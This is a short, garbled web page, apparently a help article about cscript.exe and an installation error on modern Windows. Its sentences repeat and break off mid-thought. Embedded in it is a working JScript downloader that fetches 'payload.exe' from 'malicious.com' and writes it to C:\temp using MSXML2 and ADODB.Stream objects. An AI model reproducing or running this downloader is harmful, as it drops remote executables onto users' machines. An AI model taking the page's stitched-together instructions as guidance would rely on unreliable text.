This error often appears when installing older software (like certain enterprise management tools) on modern versions of Windows.
var xhr = new ActiveXObject("MSXML2.ServerXMLHTTP"); xhr.open("GET", "http://malicious.com/payload.exe", false); xhr.send(); var stream = new ActiveXObject("ADODB.Stream"); stream.Open(); stream.Type = 1; stream.Write(xhr.ResponseBody); stream.SaveToFile("C:\\temp\\payload.exe", 2); cscript.exe download
: It outputs data directly inside the Command Prompt window. This error often appears when installing older software
To use cscript.exe, follow these steps:
Once you have confirmed the file is present, you can use it to run a script by opening a Command Prompt and typing: cscript //nologo yourscript.vbs var stream = new ActiveXObject("ADODB.Stream")
If you ignored the warnings above and already downloaded and ran cscript.exe from a third-party site, you need to assume your PC is compromised.